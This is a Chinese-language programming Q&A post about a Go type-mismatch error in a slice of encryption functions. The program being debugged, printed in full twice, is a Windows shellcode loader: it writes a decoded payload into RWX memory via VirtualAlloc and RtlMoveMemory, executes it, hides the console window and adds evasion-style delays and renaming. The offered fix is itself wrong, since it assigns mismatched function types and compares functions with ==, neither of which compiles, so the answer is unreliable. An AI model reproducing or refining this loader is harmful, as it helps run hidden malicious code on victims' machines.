Go 语言编译错误:cannot use desEncrypt (value of type func(plainText []byte, key []byte) ([]byte, error)) as type func([]byte, []byte, []byte) ([]byte, error) in array or slice literal 的解决方法
在 Go 语言中,我们经常使用函数数组来存储一组可调用函数。但在实际开发中,可能会遇到函数签名不一致导致的编译错误,例如:cannot use desEncrypt (value of type func(plainText []byte, key []byte) ([]byte, error)) as type func([]byte, []byte, []byte) ([]byte, error) in array or slice literal。
这个错误提示表明,desEncrypt 函数的签名与数组中定义的函数类型不匹配。desEncrypt 函数只接受两个参数(plainText 和 key),而数组中定义的函数类型需要三个参数(plainText、key 和 iv)。
问题代码:
package main
import (
"bytes"
"crypto/aes"
"crypto/cipher"
"crypto/des"
"encoding/base64"
"math/rand"
"syscall"
"time"
"unsafe"
"reflect"
"gld/util"
"github.com/lxn/win"
)
const (
MEM_COMMIT = 0x1000
MEM_RESERVE = 0x2000
PAGE_EXECUTE_READWRITE = 0x40
)
// 新增多种加密算法
func desEncrypt(plainText, key []byte) ([]byte, error) {
block, err := des.NewCipher(key)
if err != nil {
return nil, err
}
b := padding(plainText, block.BlockSize())
ciphertext := make([]byte, len(b))
iv := []byte{0, 0, 0, 0, 0, 0, 0, 0}
mode := cipher.NewCBCEncrypter(block, iv)
mode.CryptBlocks(ciphertext, b)
return ciphertext, nil
}
func aesEncrypt(plainText, key, iv []byte) ([]byte, error) {
block, err := aes.NewCipher(key)
if err != nil {
return nil, err
}
b := padding(plainText, block.BlockSize())
ciphertext := make([]byte, len(b))
stream := cipher.NewCTR(block, iv)
stream.XORKeyStream(ciphertext, b)
return ciphertext, nil
}
func padding(plainText []byte, blockSize int) []byte {
padding := blockSize - len(plainText)%blockSize
padText := bytes.Repeat([]byte{byte(padding)}, padding)
return append(plainText, padText...)
}
var (
kernel32 = syscall.NewLazyDLL("kernel32.dll")
ntdll = syscall.NewLazyDLL("ntdll.dll")
VirtualAlloc = kernel32.NewProc("VirtualAlloc")
RtlMoveMemory = ntdll.NewProc("RtlMoveMemory")
)
func exec(charcode []byte) {
addr, _, _ := VirtualAlloc.Call(0, uintptr(len(charcode)), MEM_COMMIT|MEM_RESERVE, PAGE_EXECUTE_READWRITE)
time.Sleep(time.Millisecond * time.Duration(rand.Intn(100)+1))
_, _, _ = RtlMoveMemory.Call(addr, (uintptr)(unsafe.Pointer(&charcode[0])), uintptr(len(charcode)))
time.Sleep(time.Millisecond * time.Duration(rand.Intn(100)+1))
syscall.Syscall(addr, 0, 0, 0, 0)
}
func main() {
// 随机选择一个加密算法
algorithms := []func([]byte, []byte, []byte) ([]byte, error){aesEncrypt, desEncrypt}
algorithm := algorithms[rand.Intn(len(algorithms))]
// 修改变量名称和方法名称
keyBase64 := "OTbrlslvlmAJCnkaBdGLsIUo92194R+gWspARPG+cvo="
nonceBase64 := "+scwwrYSCXKddUPP"
dataBase64 := "/0BJ/"
key, _ := base64.StdEncoding.DecodeString(keyBase64)
nonce, _ := base64.StdEncoding.DecodeString(nonceBase64)
data, _ := base64.StdEncoding.DecodeString(dataBase64)
payload := util.D(data, key, nonce)
enpayload, _ := algorithm(payload, key, []byte{0x1a, 0x37, 0xb4, 0x98, 0x4d, 0x4f, 0x27, 0xf5})
// 添加随机延迟
time.Sleep(time.Millisecond * time.Duration(rand.Intn(500)+1000))
win.ShowWindow(win.GetConsoleWindow(), win.SW_HIDE)
execFunc := reflect.ValueOf(exec)
params := []reflect.Value{reflect.ValueOf(enpayload)}
execFunc.Call(params)
}
解决方法:
- 创建两个函数数组,分别存储不同参数类型的加密函数:
func main() {
// 存储接受两个参数的加密函数
algorithms2Params := []func([]byte, []byte) ([]byte, error){desEncrypt}
// 存储接受三个参数的加密函数
algorithms3Params := []func([]byte, []byte, []byte) ([]byte, error){aesEncrypt}
// 随机选择一个加密算法
var algorithm func([]byte, []byte, []byte) ([]byte, error)
if rand.Intn(2) == 0 {
algorithm = algorithms2Params[0]
} else {
algorithm = algorithms3Params[0]
}
// ...
}
- 根据选择的加密算法类型,调用对应的函数:
func main() {
// ...
// 根据选择的加密算法类型,调用对应的函数
var enpayload []byte
var err error
if algorithm == aesEncrypt {
enpayload, err = aesEncrypt(payload, key, []byte{0x1a, 0x37, 0xb4, 0x98, 0x4d, 0x4f, 0x27, 0xf5})
} else {
enpayload, err = desEncrypt(payload, key)
}
if err != nil {
panic(err)
}
// ...
}
修改后的代码:
package main
import (
"bytes"
"crypto/aes"
"crypto/cipher"
"crypto/des"
"encoding/base64"
"math/rand"
"syscall"
"time"
"unsafe"
"reflect"
"gld/util"
"github.com/lxn/win"
)
const (
MEM_COMMIT = 0x1000
MEM_RESERVE = 0x2000
PAGE_EXECUTE_READWRITE = 0x40
)
// 新增多种加密算法
func desEncrypt(plainText, key []byte) ([]byte, error) {
block, err := des.NewCipher(key)
if err != nil {
return nil, err
}
b := padding(plainText, block.BlockSize())
ciphertext := make([]byte, len(b))
iv := []byte{0, 0, 0, 0, 0, 0, 0, 0}
mode := cipher.NewCBCEncrypter(block, iv)
mode.CryptBlocks(ciphertext, b)
return ciphertext, nil
}
func aesEncrypt(plainText, key, iv []byte) ([]byte, error) {
block, err := aes.NewCipher(key)
if err != nil {
return nil, err
}
b := padding(plainText, block.BlockSize())
ciphertext := make([]byte, len(b))
stream := cipher.NewCTR(block, iv)
stream.XORKeyStream(ciphertext, b)
return ciphertext, nil
}
func padding(plainText []byte, blockSize int) []byte {
padding := blockSize - len(plainText)%blockSize
padText := bytes.Repeat([]byte{byte(padding)}, padding)
return append(plainText, padText...)
}
var (
kernel32 = syscall.NewLazyDLL("kernel32.dll")
ntdll = syscall.NewLazyDLL("ntdll.dll")
VirtualAlloc = kernel32.NewProc("VirtualAlloc")
RtlMoveMemory = ntdll.NewProc("RtlMoveMemory")
)
func exec(charcode []byte) {
addr, _, _ := VirtualAlloc.Call(0, uintptr(len(charcode)), MEM_COMMIT|MEM_RESERVE, PAGE_EXECUTE_READWRITE)
time.Sleep(time.Millisecond * time.Duration(rand.Intn(100)+1))
_, _, _ = RtlMoveMemory.Call(addr, (uintptr)(unsafe.Pointer(&charcode[0])), uintptr(len(charcode)))
time.Sleep(time.Millisecond * time.Duration(rand.Intn(100)+1))
syscall.Syscall(addr, 0, 0, 0, 0)
}
func main() {
// 存储接受两个参数的加密函数
algorithms2Params := []func([]byte, []byte) ([]byte, error){desEncrypt}
// 存储接受三个参数的加密函数
algorithms3Params := []func([]byte, []byte, []byte) ([]byte, error){aesEncrypt}
// 随机选择一个加密算法
var algorithm func([]byte, []byte, []byte) ([]byte, error)
if rand.Intn(2) == 0 {
algorithm = algorithms2Params[0]
} else {
algorithm = algorithms3Params[0]
}
// 修改变量名称和方法名称
keyBase64 := "OTbrlslvlmAJCnkaBdGLsIUo92194R+gWspARPG+cvo="
nonceBase64 := "+scwwrYSCXKddUPP"
dataBase64 := "/0BJ/"
key, _ := base64.StdEncoding.DecodeString(keyBase64)
nonce, _ := base64.StdEncoding.DecodeString(nonceBase64)
data, _ := base64.StdEncoding.DecodeString(dataBase64)
payload := util.D(data, key, nonce)
// 根据选择的加密算法类型,调用对应的函数
var enpayload []byte
var err error
if algorithm == aesEncrypt {
enpayload, err = aesEncrypt(payload, key, []byte{0x1a, 0x37, 0xb4, 0x98, 0x4d, 0x4f, 0x27, 0xf5})
} else {
enpayload, err = desEncrypt(payload, key)
}
if err != nil {
panic(err)
}
// 添加随机延迟
time.Sleep(time.Millisecond * time.Duration(rand.Intn(500)+1000))
win.ShowWindow(win.GetConsoleWindow(), win.SW_HIDE)
execFunc := reflect.ValueOf(exec)
params := []reflect.Value{reflect.ValueOf(enpayload)}
execFunc.Call(params)
}
注意:
- 在选择加密算法时,要根据选择的函数类型来调用相应的函数。
- 在调用加密函数时,需要确保传递的参数数量和类型与函数定义一致。
- 为了提高代码的可读性和可维护性,建议使用类型别名来定义函数数组类型,例如:
type EncryptFunc func([]byte, []byte) ([]byte, error),type EncryptFuncWithIV func([]byte, []byte, []byte) ([]byte, error)。
希望以上内容能够帮助您解决 Go 语言中因函数签名不一致导致的编译错误。
原文地址: https://www.cveoy.top/t/topic/lUbm 著作权归作者所有。请勿转载和采集!